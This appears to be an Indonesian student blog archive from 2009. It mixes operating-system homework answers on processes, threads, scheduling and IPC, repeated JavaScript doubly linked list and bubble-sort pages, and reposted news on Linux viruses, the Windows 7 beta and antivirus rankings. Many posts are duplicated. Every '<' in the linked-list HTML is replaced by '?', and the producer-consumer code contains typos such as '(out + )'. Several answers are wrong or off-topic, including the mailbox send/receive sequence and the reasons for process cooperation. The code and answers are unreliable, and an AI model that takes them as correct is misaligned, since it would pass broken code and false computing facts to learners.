1.State pada proses terdiri dari :
New : proses sedang dibuat
Running : proses sedang di eksekusi
Waiting : prose sedang menunggu beberapa event yang akan terjadi (seperti menunggu untuk menyelesaikan I/O atau menerima sinyal.
Ready : proses menunggu jalan waktu dari CPU untuk diproses
Terminated : proses telah selesai.
Skema pemrosesannya seperti dinawanh ini :
Keterangannya : sebuah proses yang baru saja dibuat dan ada sebuah proses yang sedang di eksekusi sedang menunggu beberapa event yang akan terjadi ( seperti menunggu untuk menyelesaikan I/O atau menerima sinyal ) dan proses tersubut akan melakukan pemrosesan secara menunggu jataah waktunya datri CPU untuk diproses dan setelah proses selesai baru dieksekusi ke komputer.
2.Pengertian dari :
Short term scheduler adalah pemilihan proses-proses yang siap intuk di eksekusi, dan mengalokasikan CPU kesalah satu dari proses-proses tersebut.
Long term schudeler adalah menyeleksi proses-proses mana yang harus dibawa ke ready queue, dan terjadi sangat jarang (dalam detik atau menit)dan digunakan untuk mengotrol tingka multi programming.
3.4 alasan mengapa proses harus bekerja sama yaitu :
Pada lingkungan batch sebagai tambahan atas pemberian job. Setelah menciptakan proses baru, sistem operasi melanjutkan untuk membaca job selanjunya.
Pada lingkungan interaktif, pada saat user baru saja login.
Sebagai tanggapan atas satu aplikasi (seperti: mencetak file, sitem operasi, dapat menciptakan proses yang akan mengelola pencetakan itu).
Proses menciptakan proses lain(child).
4.Kode program dalam penyelasaian permasalahan producer consumer dengan menggunakan shared memory:
# defaine BUFFER_SIZE 10
Typedef struct {
. . .
} item;
Item buffer [BUFFER_SIZE];
int in = 0;
int out = 0;
Proses prodecer
item next Produced;
while (1) {
while (((in + 1) % BUFFER_SIZE ) == out)
; /* do nothink */
buffer [in] = next produced;
in = (in + 1) % BUFFER_SIZE;
}
Proses comsumer :
Item mext Consumed ;
While (1) {
While (in == out )
; /* do nothink */
nextConsumed = buffer [out];
out = (out + ) % BUFFER_SIZE;
}
5.Diketahui skema komukasi antar proses menggunakan mailbox.
a.Proses P ingin menunggu 2 pesan, satu dari mailbox A dan satu mailbox B. Tunjukan urutan send dan recaive yang dieksekusi.
Jawab :
Send (A pesan ); mengirim pesan ke mailbox B,
Receive(B pesan ); menerima pesan dari mailbox A.
b.Bagaimana urutan send dan recieve yang dieksekusi p jika p ingin menunggu satu pesan dari mailbox A atau mailbox B (salah satu atau keduanya)
Hanya bisa mengunakan satu:
Caranya :
Send (P pesan ); mengirim pesan ke mailbox A,
Receive ( P pesan); menerima peasan darri A.
6.Thread adalah suatu unit dari (CPU) utilazation yang berisi program counter, kumpulan register, dan ruang stack.
Strukurny dibagi menjadi dua :
Singgle thread seperti (code, data, files, register, stack )
Miltithread seperti (code, data, files, registers, registers, registers, stack, stack,stack,).
7.4 keuntungan menggunakan threads pada multiple proces:
Respon lebih cepat
Menggunakan resource bersama-sama
Lebih ekonomis
Eningkatkan utilitas arsitektur mikroprosesor.
8.Perbedaan user-level threads dan kernel-supported threads.
Pada user threads diatur dengan menggunakan pustaka use level thread.
Pada kernel thread didukung oleh kernel
9.3 model multithreading dan penjelasannya:
Model many-to-one yaitu beberapa user level thread dipisahkan ke satu kernel thread dan digukan pada sistem yang tidak mendukung kernel thread .
Model one-to-one yaitu etiap use level thread dipetakan ke karnel thread .
Model many-to-many yaitu user level thread dipetakan ke beberapa kernel thread pada sistem operasi ini akan dibuat sejumlah kernel thread.
10.State pada java thread yaitu :
Bahasa pemrograman java menggunakan java thread yang dibuat dengan menggukan class thread dan engimplementasikan antar muka yang bersifat runnable (dapat dijalankan ). Java thread di atur oleh java virtual machine (JVM). Java thread terdiri dari state new, runnable, bloced, dan dead .
Ket: pada suatu program akan dibikin baru dengan memulai tombol start sehingga program tersebut dapat dijalankan seperti yang di inginkan kemudian progran tersebut dapat dialihkan ke ke program yang lainnya dengan cara menyortir semunya dan akan berhenti jika semuanya sudah berhenti dan program tersebut akan mati dengan sendirinya.
Sabtu, 27 Juni 2009
?html>
?head>
?title>Struktur Data Linked List?/title>
?/head>
?body>
?script language = "JavaScript">
?!--
function DoublyLinkedList()
{
this._Kepala = null;
this._Ekor = null;
this._Panjang = 0;
}
DoublyLinkedList.prototype =
{
constructor: DoublyLinkedList,
Tambah: function (data)
{
var node = {data: data, next: null, prev: null};
if (this._Panjang == 0)
{
this._Kepala = node;
this._Ekor = node;
}
else
{
this._Ekor.next = node;
node.prev = this._Ekor;
this._Ekor = node;
}
this._Panjang++;
},
ItemList: function(index)
{
if (index > -1 && index ? this._Panjang)
{
var NodeTanda = this._Kepala,
i = 0;
while(i++ ? index)
{
NodeTanda = NodeTanda.next;
}
return NodeTanda.data;
}
else
{
return null;
}
},
Buang: function(index){
if (index > -1 && index ? this._Panjang)
{
var NodeTanda = this._Kepala, i = 0;
if (index === 0)
{
this._Kepala = NodeTanda.next;
if (!this._Kepala)
{
this._Ekor = null;
}
else
{
this._Kepala.prev = null;
}
}
else
if (index === this._Panjang -1)
{
NodeTanda = this._Ekor;
this._Ekor = NodeTanda.prev;
this._Ekor.next = null;
}
else
{
while(i++ ? index)
{
NodeTanda = NodeTanda.next;
}
NodeTanda.prev.next = NodeTanda.next;
}
this._Panjang--;
return NodeTanda.data;
}
else
{
return null;
}
},
Ukuran: function(){
return this._Panjang;
},
toArray: function(){
var result = [],
NodeTanda = this._Kepala;
while(NodeTanda){
result.push(NodeTanda.data);
NodeTanda = NodeTanda.next;
}
return result;
},
toString: function(){
return this.toArray().toString();
}
}
var List = new DoublyLinkedList();
List.Tambah("Teknik Informatika");
List.Tambah("Teknik Komputer");
List.Tambah("Komputerisasi Akuntansi");
List.Tambah("Computer Networking");
document.write("Isi LinkedList ?br>");
document.write("--------------- ?br>");
for (i=0; i?4; i++)
{
document.write(List.ItemList(i) + "?br>") ;
}
document.write("--------------- ?br>");
alert("Isi LinkedList Awal =" + List.ItemList(0));
alert("ItemList 1 pada Linked List diBuang, yaitu = " +List.ItemList(1));
List.Buang(1);
document.write("?br>Isi LinkedList Terakhir ?br>");
document.write("--------------- ?br>");
for (i=0; i?4; i++)
{
document.write(List.ItemList(i) + "?br>") ;
}
document.write("--------------- ?br>");
//-->
?/script>
?/body>
?/html>
?head>
?title>Struktur Data Linked List?/title>
?/head>
?body>
?script language = "JavaScript">
?!--
function DoublyLinkedList()
{
this._Kepala = null;
this._Ekor = null;
this._Panjang = 0;
}
DoublyLinkedList.prototype =
{
constructor: DoublyLinkedList,
Tambah: function (data)
{
var node = {data: data, next: null, prev: null};
if (this._Panjang == 0)
{
this._Kepala = node;
this._Ekor = node;
}
else
{
this._Ekor.next = node;
node.prev = this._Ekor;
this._Ekor = node;
}
this._Panjang++;
},
ItemList: function(index)
{
if (index > -1 && index ? this._Panjang)
{
var NodeTanda = this._Kepala,
i = 0;
while(i++ ? index)
{
NodeTanda = NodeTanda.next;
}
return NodeTanda.data;
}
else
{
return null;
}
},
Buang: function(index){
if (index > -1 && index ? this._Panjang)
{
var NodeTanda = this._Kepala, i = 0;
if (index === 0)
{
this._Kepala = NodeTanda.next;
if (!this._Kepala)
{
this._Ekor = null;
}
else
{
this._Kepala.prev = null;
}
}
else
if (index === this._Panjang -1)
{
NodeTanda = this._Ekor;
this._Ekor = NodeTanda.prev;
this._Ekor.next = null;
}
else
{
while(i++ ? index)
{
NodeTanda = NodeTanda.next;
}
NodeTanda.prev.next = NodeTanda.next;
}
this._Panjang--;
return NodeTanda.data;
}
else
{
return null;
}
},
Ukuran: function(){
return this._Panjang;
},
toArray: function(){
var result = [],
NodeTanda = this._Kepala;
while(NodeTanda){
result.push(NodeTanda.data);
NodeTanda = NodeTanda.next;
}
return result;
},
toString: function(){
return this.toArray().toString();
}
}
var List = new DoublyLinkedList();
List.Tambah("Teknik Informatika");
List.Tambah("Teknik Komputer");
List.Tambah("Komputerisasi Akuntansi");
List.Tambah("Computer Networking");
document.write("Isi LinkedList ?br>");
document.write("--------------- ?br>");
for (i=0; i?4; i++)
{
document.write(List.ItemList(i) + "?br>") ;
}
document.write("--------------- ?br>");
alert("Isi LinkedList Awal =" + List.ItemList(0));
alert("ItemList 1 pada Linked List diBuang, yaitu = " +List.ItemList(1));
List.Buang(1);
document.write("?br>Isi LinkedList Terakhir ?br>");
document.write("--------------- ?br>");
for (i=0; i?4; i++)
{
document.write(List.ItemList(i) + "?br>") ;
}
document.write("--------------- ?br>");
//-->
?/script>
?/body>
?/html>
Kamis, 25 Juni 2009
Memanggil List Ukuran, toArray, toString
Memanggil List Ukuran, toArray, toString
?html>
?head>
?title>Struktur Data Linked List?/title>
?/head>
?body>
?script language = "JavaScript">
?!--
function DoublyLinkedList()
{
this._Kepala = null;
this._Ekor = null;
this._Panjang = 0;
}
DoublyLinkedList.prototype =
{
constructor: DoublyLinkedList,
Tambah: function (data)
{
var node = {data: data, next: null, prev: null};
if (this._Panjang == 0)
{
this._Kepala = node;
this._Ekor = node;
}
else
{
this._Ekor.next = node;
node.prev = this._Ekor;
this._Ekor = node;
}
this._Panjang++;
},
ItemList: function(index)
{
if (index > -1 && index ? this._Panjang)
{
var NodeTanda = this._Kepala,
i = 0;
while(i++ ? index)
{
NodeTanda = NodeTanda.next;
}
return NodeTanda.data;
}
else
{
return null;
}
},
Buang: function(index){
if (index > -1 && index ? this._Panjang)
{
var NodeTanda = this._Kepala, i = 0;
if (index === 0)
{
this._Kepala = NodeTanda.next;
if (!this._Kepala)
{
this._Ekor = null;
}
else
{
this._Kepala.prev = null;
}
}
else
if (index === this._Panjang -1)
{
NodeTanda = this._Ekor;
this._Ekor = NodeTanda.prev;
this._Ekor.next = null;
}
else
{
while(i++ ? index)
{
NodeTanda = NodeTanda.next;
}
NodeTanda.prev.next = NodeTanda.next;
}
this._Panjang--;
return NodeTanda.data;
}
else
{
return null;
}
},
Ukuran: function(){
return this._Panjang;
},
toArray: function(){
var result = [],
NodeTanda = this._Kepala;
while(NodeTanda){
result.push(NodeTanda.data);
NodeTanda = NodeTanda.next;
}
return result;
},
toString: function(){
return this.toArray().toString();
}
}
var List = new DoublyLinkedList();
List.Tambah("Teknik Informatika");
List.Tambah("Teknik Komputer");
List.Tambah("Komputerisasi Akuntansi");
List.Tambah("Computer Networking");
document.write("Isi LinkedList ?br>");
document.write("--------------- ?br>");
for (i=0; i?4; i++)
{
document.write(List.ItemList(i) + "?br>") ;
}
document.write("--------------- ?br>");
document.write("Isi LinkedList Awal = " + List.Ukuran() +"?br>");
document.write("Isi Array Awal = " + List.toArray() +"?br>");
document.write("Isi String Awal = " + List.toString() +"?br>?br>");
alert("ItemList 1 pada Linked List diBuang, yaitu = " + List.ItemList(1));
List.Buang(1);
document.write("Isi Linked LIst Setelah Dibuang ?br>");
document.write("--------------- ?br>");
for (i=0; i?4; i++)
{
document.write(List.ItemList(i) + "?br>") ;
}
document.write("--------------- ?br>");
document.write("?br>Isi LinkedList Terakhir = " + List.Ukuran() +"?br>");
document.write("Isi Array Akhir = " + List.toArray() +"?br>");
document.write("Isi String Awal = " + List.toString() +"?br>");
//-->
?/script>
?/body>
?/html>
?html>
?head>
?title>Struktur Data Linked List?/title>
?/head>
?body>
?script language = "JavaScript">
?!--
function DoublyLinkedList()
{
this._Kepala = null;
this._Ekor = null;
this._Panjang = 0;
}
DoublyLinkedList.prototype =
{
constructor: DoublyLinkedList,
Tambah: function (data)
{
var node = {data: data, next: null, prev: null};
if (this._Panjang == 0)
{
this._Kepala = node;
this._Ekor = node;
}
else
{
this._Ekor.next = node;
node.prev = this._Ekor;
this._Ekor = node;
}
this._Panjang++;
},
ItemList: function(index)
{
if (index > -1 && index ? this._Panjang)
{
var NodeTanda = this._Kepala,
i = 0;
while(i++ ? index)
{
NodeTanda = NodeTanda.next;
}
return NodeTanda.data;
}
else
{
return null;
}
},
Buang: function(index){
if (index > -1 && index ? this._Panjang)
{
var NodeTanda = this._Kepala, i = 0;
if (index === 0)
{
this._Kepala = NodeTanda.next;
if (!this._Kepala)
{
this._Ekor = null;
}
else
{
this._Kepala.prev = null;
}
}
else
if (index === this._Panjang -1)
{
NodeTanda = this._Ekor;
this._Ekor = NodeTanda.prev;
this._Ekor.next = null;
}
else
{
while(i++ ? index)
{
NodeTanda = NodeTanda.next;
}
NodeTanda.prev.next = NodeTanda.next;
}
this._Panjang--;
return NodeTanda.data;
}
else
{
return null;
}
},
Ukuran: function(){
return this._Panjang;
},
toArray: function(){
var result = [],
NodeTanda = this._Kepala;
while(NodeTanda){
result.push(NodeTanda.data);
NodeTanda = NodeTanda.next;
}
return result;
},
toString: function(){
return this.toArray().toString();
}
}
var List = new DoublyLinkedList();
List.Tambah("Teknik Informatika");
List.Tambah("Teknik Komputer");
List.Tambah("Komputerisasi Akuntansi");
List.Tambah("Computer Networking");
document.write("Isi LinkedList ?br>");
document.write("--------------- ?br>");
for (i=0; i?4; i++)
{
document.write(List.ItemList(i) + "?br>") ;
}
document.write("--------------- ?br>");
document.write("Isi LinkedList Awal = " + List.Ukuran() +"?br>");
document.write("Isi Array Awal = " + List.toArray() +"?br>");
document.write("Isi String Awal = " + List.toString() +"?br>?br>");
alert("ItemList 1 pada Linked List diBuang, yaitu = " + List.ItemList(1));
List.Buang(1);
document.write("Isi Linked LIst Setelah Dibuang ?br>");
document.write("--------------- ?br>");
for (i=0; i?4; i++)
{
document.write(List.ItemList(i) + "?br>") ;
}
document.write("--------------- ?br>");
document.write("?br>Isi LinkedList Terakhir = " + List.Ukuran() +"?br>");
document.write("Isi Array Akhir = " + List.toArray() +"?br>");
document.write("Isi String Awal = " + List.toString() +"?br>");
//-->
?/script>
?/body>
?/html>
tugas short
<html>
<head>
<script LANGUAGE="JavaScript">
function Urutkan(form)
{
DataKosong = false;
DataInputan = form.Data.value;
inputData = DataInputan.split(",");
for (var i = 0; i < inputData.length; i++)
{
inputData[i] = parseInt(inputData[i], 10);
if (isNaN(inputData[i]))
{
DataKosong = true;
break;
}
}
inputData = bubbleSort(inputData, 0, inputData.length - 1);
if (DataKosong)
{
alert("Silakan Entri Dulu Data, Pisahkan dengan tanda Koma");
form.Data.focus();
}
else
form.Hasil.value = DataString(inputData, 0);
}
function DataString(ArrayData, Angka)
{
if ((ArrayData.length - 1) >= Angka)
return (ArrayData[Angka] + "," + DataString(ArrayData,(Angka + 1)));
else return "";
}
function bubbleSort(ArrayData, Mulai, MulaiBaru)
{
for (var i = MulaiBaru - 1; i >= Mulai; i--)
{
for (var j = Mulai; j <= i; j++)
{
if (ArrayData[j+1] < ArrayData[j])
{
var DataTemporer = ArrayData[j];
ArrayData[j] = ArrayData[j+1];
ArrayData[j+1] = DataTemporer;
}
}
}
return ArrayData;
}
</script>
</head>
<body>
<center>
<form>
Masukan Deretan Angka, Pisahkan dengan Koma :
<hr>
<br> <input type=text name=Data size=30 value="3,4,5,6,8,5,12,4,8,4,20">
<br>
<br>
<input type=button value="Urutkan" onClick="Urutkan(this.form)">
<br>
<br>
<br>
Hasil Pengurutan :
<hr>
<input type=text name=Hasil size=30>
</form>
</center>
</body>
</html>
<head>
<script LANGUAGE="JavaScript">
function Urutkan(form)
{
DataKosong = false;
DataInputan = form.Data.value;
inputData = DataInputan.split(",");
for (var i = 0; i < inputData.length; i++)
{
inputData[i] = parseInt(inputData[i], 10);
if (isNaN(inputData[i]))
{
DataKosong = true;
break;
}
}
inputData = bubbleSort(inputData, 0, inputData.length - 1);
if (DataKosong)
{
alert("Silakan Entri Dulu Data, Pisahkan dengan tanda Koma");
form.Data.focus();
}
else
form.Hasil.value = DataString(inputData, 0);
}
function DataString(ArrayData, Angka)
{
if ((ArrayData.length - 1) >= Angka)
return (ArrayData[Angka] + "," + DataString(ArrayData,(Angka + 1)));
else return "";
}
function bubbleSort(ArrayData, Mulai, MulaiBaru)
{
for (var i = MulaiBaru - 1; i >= Mulai; i--)
{
for (var j = Mulai; j <= i; j++)
{
if (ArrayData[j+1] < ArrayData[j])
{
var DataTemporer = ArrayData[j];
ArrayData[j] = ArrayData[j+1];
ArrayData[j+1] = DataTemporer;
}
}
}
return ArrayData;
}
</script>
</head>
<body>
<center>
<form>
Masukan Deretan Angka, Pisahkan dengan Koma :
<hr>
<br> <input type=text name=Data size=30 value="3,4,5,6,8,5,12,4,8,4,20">
<br>
<br>
<input type=button value="Urutkan" onClick="Urutkan(this.form)">
<br>
<br>
<br>
Hasil Pengurutan :
<hr>
<input type=text name=Hasil size=30>
</form>
</center>
</body>
</html>
Rabu, 24 Juni 2009
tugas lagi instalasi
LINUX
Sistem operasi Linux/BSD dulu hanya dikenal sebagai OS server. Ini berkat kehandalannya dan low resources. Dalam perkembangannya, Linux mulai menjadi favorit di kalangan end user karena makin banyak aplikasi yang mendukung keperluan end user untuk kebutuhan sehari-hari, seperti word processor, spreadsheet, image editing, browsing, mail, dan sebagainya. Graphical User Interface-nya (GUI) makin cantik. Namun yang menarik adalah Royalty Free, tentunya dengan syarat penggunaan (GNU, GPL, dan lainnya).
Ada anggapan yang keliru tentang OS Linux, yakni OS ini selalu bebas virus. Salah! Online Wikipedia mencatat sudah ada 2 trojan, 22 virus, dan 11 worm menyerang OS Linux . Dibandingkan Windows, jumlahnya memang sangat sedikit. Namun ancaman itu tetap ada. Bahkan serangan lintas plaform, yaitu yang dapat bekerja di Linux maupun Microsoft sudah terjadi.
Dalam kegunaannya sebagai server, ancaman nyata terhadap Linux adalah masuknya hacker. Sedangkan untuk internal office server, yang tidak terhubung ke Internet adalah sebaran virus Windows. Linux sebagai sistem operasi tidak terkena ancaman ini secara langsung. Namun data yang ditampungnya dapat terinfeksi.
Jadi, pemakai Linux tetap harus waspada. Gejala virus di dalam Linux memang tidak terdeteksi secara langsung, tetapi dialami oleh pengakses server tersebut.
Diposkan oleh Qaren_Bi di 04:00 0 komentar
Melalui Windows 7 Team Blog, Microsoft telah mengumumkan bahwa download Windows 7 Beta secara resmi akan tersedia mulai hari Jumat, 9 Januari 2009 Pasific Time. Jika waktu yang dimaksudkan adalah pukul 00.00, maka untuk Waktu Indonesia Barat akan jatuh pada hari Jumat, 9 Januari 2009 pukul 15.00 WIB. Windows 7 Beta ini rencananya akan dapat didownload melalui halaman Windows 7 di Windows.com dan akan tersedia untuk edisi English, German, Japanese, Arabic, dan Hindi. Masing-masing akan tersedia versi 32-bit dan 64-bit kecuali untuk Hindi yang akan tersedia versi 32-bit saja. Fasilitas download Windows 7 Beta ini sendiri akan berlaku terbatas untuk 2,5 juta pendownload pertama.
Nantinya, setelah melakukan registrasi untuk mendapatkan product key Windows 7, file yang dapat didownload akan berupa file image .iso dan untuk menggunakannya harus di-burn dulu ke media DVD. Diinformasikan, download yang akan disediakan hanya satu edisi, yang jika dibandingkan dengan pembagian edisi pada Windows Vista akan ekuivalen dengan Windows Vista Ultimate edition. Masa berlaku yang diterapkan untuk Windows 7 Beta yang disediakan Microsoft ini adalah sampai dengan 1 Agustus 2009.
Jika Anda termasuk orang yang berantusias untuk mencoba calon generasi berikut dari Windows, silahkan mengingat waktu ketersediaan download Windows 7 Beta tersebut. Untuk diperhatikan, bagi yang akan mencoba menggunakan Windows 7 beta dengan cara mengupgrade dari Windows Vista, agar memastikan sudah menginstall Service Pack 1 karena Windows 7 Beta yang tersedia tersebut hanya mendukung upgrade dari Windows Vista SP1 saja.
Diposkan oleh Qaren_Bi di 03:51 0 komentar
Sedikit Tambahan Ilmu !!!
rasanya garing banget isi blog isinya tugas semua,,tapi sabar Bu,, ini kan lagi nyari ilmunya, paling gak sebelum di posting ke blog kita baca dulu materi yang akan ditampilkan,, ndak salah toh,,copy paste boleh kan?? tapi kan yang penting isinya mang penting,,heeee!!
Tips Windows 7
EnhanceMySe7en, 'Doping' untuk Windows 7
Screenshot EnhanceMySe7en (seriousbit)
Jakarta - Bagi yang sudah merasakan performa Windows 7, baik Beta ataupun RC, tentu setuju bahwa sistem Operasi terbaru Micrososft ini lebih superior dibanding Vista dan XP. Tapi bukan berarti tak ada yang bisa ditingkatkan dalam performanya.
Nah, di jaman keemasan Windows XP, pengguna PC sering menggunakan tools untuk melakukan tweak dan mempercepat kinerja Windows. Bagi pengguna PC yang terbiasa dengan Tune Up Utility, ada baiknya mencoba 'doping' yang satu ini saat menggunakan Windows 7.
Aplikasi freeware ini bernama EnhanceMySe7en. Dengan perangkat ini, nantinya pengguna dapat melakukan tweak, atau sekadar mengoptimalkan beberapa kinerja sistem operasi Windows 7.
Bahkan, beberapa fitur aplikasi ini dapat digunakan juga untuk merawat Windows 7, agar selalu dalam kondisi prima. EnhanceMySe7en dapat menangani registry, disk space, defragmentation, instalasi software, bahkan mengukur temperatur HDD. Alhasil 'kesehatan' Windows 7 pun menjadi lebih terpantau.
Dikutip detikINET dari Blogsdna, Kamis (4/6/2009) berikut ini adalah beberapa fitur-fitur unggulan aplikasi ini:
* Process Identification, mengidentifikasi software yang tak dikenal.
* Start-Up Management, dapat menonaktifkan aplikasi yang tidak terlalu penting, untuk menambah performance.
* Registry Cleaner, membersihkan registry yang sudah tidak berguna dan memperbaiki sistem registry yang error.
* Disk Cleaner, mencari folder-folder tak berguna yang memenuhi disk space.
* Registry Defragmenter, mengindeks registry, untuk mempercepat performa sistem operasi.
* Disk Defragmenter
* Hard Drive Monitor, alat monitor 'kesehatan' komputer kita.
* Security, mengkonfigurasi tingkat keamanan sistem operasi kita.
* Optimization, mengoptimalkan setting Windows 7.
* Customization, mengkustomisasi desktop, menu, toolbar atu setting notifikasi.
* Network, mengoptimalkan kecepatan koneksi internet.
Sistem operasi Linux/BSD dulu hanya dikenal sebagai OS server. Ini berkat kehandalannya dan low resources. Dalam perkembangannya, Linux mulai menjadi favorit di kalangan end user karena makin banyak aplikasi yang mendukung keperluan end user untuk kebutuhan sehari-hari, seperti word processor, spreadsheet, image editing, browsing, mail, dan sebagainya. Graphical User Interface-nya (GUI) makin cantik. Namun yang menarik adalah Royalty Free, tentunya dengan syarat penggunaan (GNU, GPL, dan lainnya).
Ada anggapan yang keliru tentang OS Linux, yakni OS ini selalu bebas virus. Salah! Online Wikipedia mencatat sudah ada 2 trojan, 22 virus, dan 11 worm menyerang OS Linux . Dibandingkan Windows, jumlahnya memang sangat sedikit. Namun ancaman itu tetap ada. Bahkan serangan lintas plaform, yaitu yang dapat bekerja di Linux maupun Microsoft sudah terjadi.
Dalam kegunaannya sebagai server, ancaman nyata terhadap Linux adalah masuknya hacker. Sedangkan untuk internal office server, yang tidak terhubung ke Internet adalah sebaran virus Windows. Linux sebagai sistem operasi tidak terkena ancaman ini secara langsung. Namun data yang ditampungnya dapat terinfeksi.
Jadi, pemakai Linux tetap harus waspada. Gejala virus di dalam Linux memang tidak terdeteksi secara langsung, tetapi dialami oleh pengakses server tersebut.
Diposkan oleh Qaren_Bi di 04:00 0 komentar
Melalui Windows 7 Team Blog, Microsoft telah mengumumkan bahwa download Windows 7 Beta secara resmi akan tersedia mulai hari Jumat, 9 Januari 2009 Pasific Time. Jika waktu yang dimaksudkan adalah pukul 00.00, maka untuk Waktu Indonesia Barat akan jatuh pada hari Jumat, 9 Januari 2009 pukul 15.00 WIB. Windows 7 Beta ini rencananya akan dapat didownload melalui halaman Windows 7 di Windows.com dan akan tersedia untuk edisi English, German, Japanese, Arabic, dan Hindi. Masing-masing akan tersedia versi 32-bit dan 64-bit kecuali untuk Hindi yang akan tersedia versi 32-bit saja. Fasilitas download Windows 7 Beta ini sendiri akan berlaku terbatas untuk 2,5 juta pendownload pertama.
Nantinya, setelah melakukan registrasi untuk mendapatkan product key Windows 7, file yang dapat didownload akan berupa file image .iso dan untuk menggunakannya harus di-burn dulu ke media DVD. Diinformasikan, download yang akan disediakan hanya satu edisi, yang jika dibandingkan dengan pembagian edisi pada Windows Vista akan ekuivalen dengan Windows Vista Ultimate edition. Masa berlaku yang diterapkan untuk Windows 7 Beta yang disediakan Microsoft ini adalah sampai dengan 1 Agustus 2009.
Jika Anda termasuk orang yang berantusias untuk mencoba calon generasi berikut dari Windows, silahkan mengingat waktu ketersediaan download Windows 7 Beta tersebut. Untuk diperhatikan, bagi yang akan mencoba menggunakan Windows 7 beta dengan cara mengupgrade dari Windows Vista, agar memastikan sudah menginstall Service Pack 1 karena Windows 7 Beta yang tersedia tersebut hanya mendukung upgrade dari Windows Vista SP1 saja.
Diposkan oleh Qaren_Bi di 03:51 0 komentar
Sedikit Tambahan Ilmu !!!
rasanya garing banget isi blog isinya tugas semua,,tapi sabar Bu,, ini kan lagi nyari ilmunya, paling gak sebelum di posting ke blog kita baca dulu materi yang akan ditampilkan,, ndak salah toh,,copy paste boleh kan?? tapi kan yang penting isinya mang penting,,heeee!!
Tips Windows 7
EnhanceMySe7en, 'Doping' untuk Windows 7
Screenshot EnhanceMySe7en (seriousbit)
Jakarta - Bagi yang sudah merasakan performa Windows 7, baik Beta ataupun RC, tentu setuju bahwa sistem Operasi terbaru Micrososft ini lebih superior dibanding Vista dan XP. Tapi bukan berarti tak ada yang bisa ditingkatkan dalam performanya.
Nah, di jaman keemasan Windows XP, pengguna PC sering menggunakan tools untuk melakukan tweak dan mempercepat kinerja Windows. Bagi pengguna PC yang terbiasa dengan Tune Up Utility, ada baiknya mencoba 'doping' yang satu ini saat menggunakan Windows 7.
Aplikasi freeware ini bernama EnhanceMySe7en. Dengan perangkat ini, nantinya pengguna dapat melakukan tweak, atau sekadar mengoptimalkan beberapa kinerja sistem operasi Windows 7.
Bahkan, beberapa fitur aplikasi ini dapat digunakan juga untuk merawat Windows 7, agar selalu dalam kondisi prima. EnhanceMySe7en dapat menangani registry, disk space, defragmentation, instalasi software, bahkan mengukur temperatur HDD. Alhasil 'kesehatan' Windows 7 pun menjadi lebih terpantau.
Dikutip detikINET dari Blogsdna, Kamis (4/6/2009) berikut ini adalah beberapa fitur-fitur unggulan aplikasi ini:
* Process Identification, mengidentifikasi software yang tak dikenal.
* Start-Up Management, dapat menonaktifkan aplikasi yang tidak terlalu penting, untuk menambah performance.
* Registry Cleaner, membersihkan registry yang sudah tidak berguna dan memperbaiki sistem registry yang error.
* Disk Cleaner, mencari folder-folder tak berguna yang memenuhi disk space.
* Registry Defragmenter, mengindeks registry, untuk mempercepat performa sistem operasi.
* Disk Defragmenter
* Hard Drive Monitor, alat monitor 'kesehatan' komputer kita.
* Security, mengkonfigurasi tingkat keamanan sistem operasi kita.
* Optimization, mengoptimalkan setting Windows 7.
* Customization, mengkustomisasi desktop, menu, toolbar atu setting notifikasi.
* Network, mengoptimalkan kecepatan koneksi internet.
tugas instalasi
Tools & Utillity
Antivirus
Di awal Tahun 2009 TopTenREVIEWS sudah mengeluarkan beberapa review untuk Antivirus Terbaik 2009. Di Tahun sebelumnya TopTenREVIEWS juga mengeluarkan TOP 10 Antivirus Software, dimana pada tahun lalu posisi teratas di tempati oleh Bitdefender Anti-virus dan disusul oleh Kaspersky Anti-virus. Antivirus Terbaik 2009 ini di nilai dari hasil review para pengguna produk antivirus dan dari kemampuan serta fitur dari masing-masing antivirus tersebut. Seperti kecepatan untuk melakukan scan, capat dalam mengidentifikasi virus dan worms, kemudahan penggunaan, efektivitas, update databases, fitur, kemudahan installasi, help dan support.
Review yang dilakukan oleh TopTenREVIEWS terhadap produk antivirus sangat membantu kita dalam mengambil keputusan untuk memilih produk antivirus yang tepat dalam menjaga komputer kita terhadap serangan Virus, Worm, Spyware dan Trojan.
Yang perlu kita ketahui, semua software antivirus tidaklah sama, ada yang bagus, yang buruk dan sedang. Begitu banyak software antivirus yang berkembang saat ini, tentu kita sebagai pengguna dibuat bingung untuk memilih antivirus yang baik, untuk itu TopTenREVIEWS membantu kita dalam hal ini. Sebenarnya dalam memilih antivirus yang tepat dan baik ada 2 faktor yang menentukan yaitu User-friendliness and Effectiveness.
Berikut 10 Antivirus Terbaik 2009 yang dikeluarkan oleh TopTenREVIEWS:
Peringkat 1 : BitDefender Antivirus (www.bitdefender.com)
Peringkat 2 : Kaspersky Anti-Virus (www.kaspersky.com)
Peringkat 3 : Webroot Antivirus (www.webroot.com)
Peringkat 4 : ESET Nod32 (www.eset.com)
Peringkat 5 : AVG Anti-Virus (www.avg.com)
Peringkat 6 : Vipre Antivirus + Antispyware (www.vipreantivirus.com)
Peringkat 7 : F-Secure Anti-Virus (www.f-secure.com)
Peringkat 8 : Trend Micro (www.trendmicro.com)
Peringkat 9 : McAfee VirusScan (www.mcafee.com)
Peringkat 10 : Norton AntiVirus (www.symantec.com)
APLIKASI
Office
Microsoft Office adalah set produk perangkat lunak produktivitas dan manajemen kontak yang membantu Anda menghemat waktu, selalu terorganisir, dan memberikan layanan pelanggan yang luar biasa. Anda dapat membeli produk secara terpisah atau dalam kombinasi yang telah ditentukan.
Office Small Business 2007
Dengan Office 2007, Anda mendapatkan sebuah cara yang lebih cerdas untuk berfokus pada usah penjualan, pemasaran dan hubungan pelanggan. Cakupan Microsoft Office Outlook 2007 dengan Business Contact Manager memberi Anda kemampuan untuk mengurutkan dan mengelola e-mail dengan mudah, melacak dan mengorganisasi kontak dan aktivitas pelanggan, dan menjauhkan spam dan junk mail dari komputer Anda.
Office Professional 2007
Kini Anda dapat meramal dan melacak keuangan Anda secara lebih efektif. Suit ini juga mencakup Microsoft Office Accounting Express 2008 untuk membantu Anda mengelola keuangan bisnis Anda secara efektif dan sederhana.
Office Professional Plus 2007
Microsoft Office Communicator 2007, yang menggabungkan fitur telepon dan perangkat lunak, adalah bagian kunci dari suit ini. Microsoft Office Communicator 2007 juga menawarkan sebuah kemampuan grafis baru yang ampuh yang mengijinkan Anda menciptakan grafik, diagram, laporan dan lain sebagainya dengan dampak yang tinggi.
Office Enterprise 2007
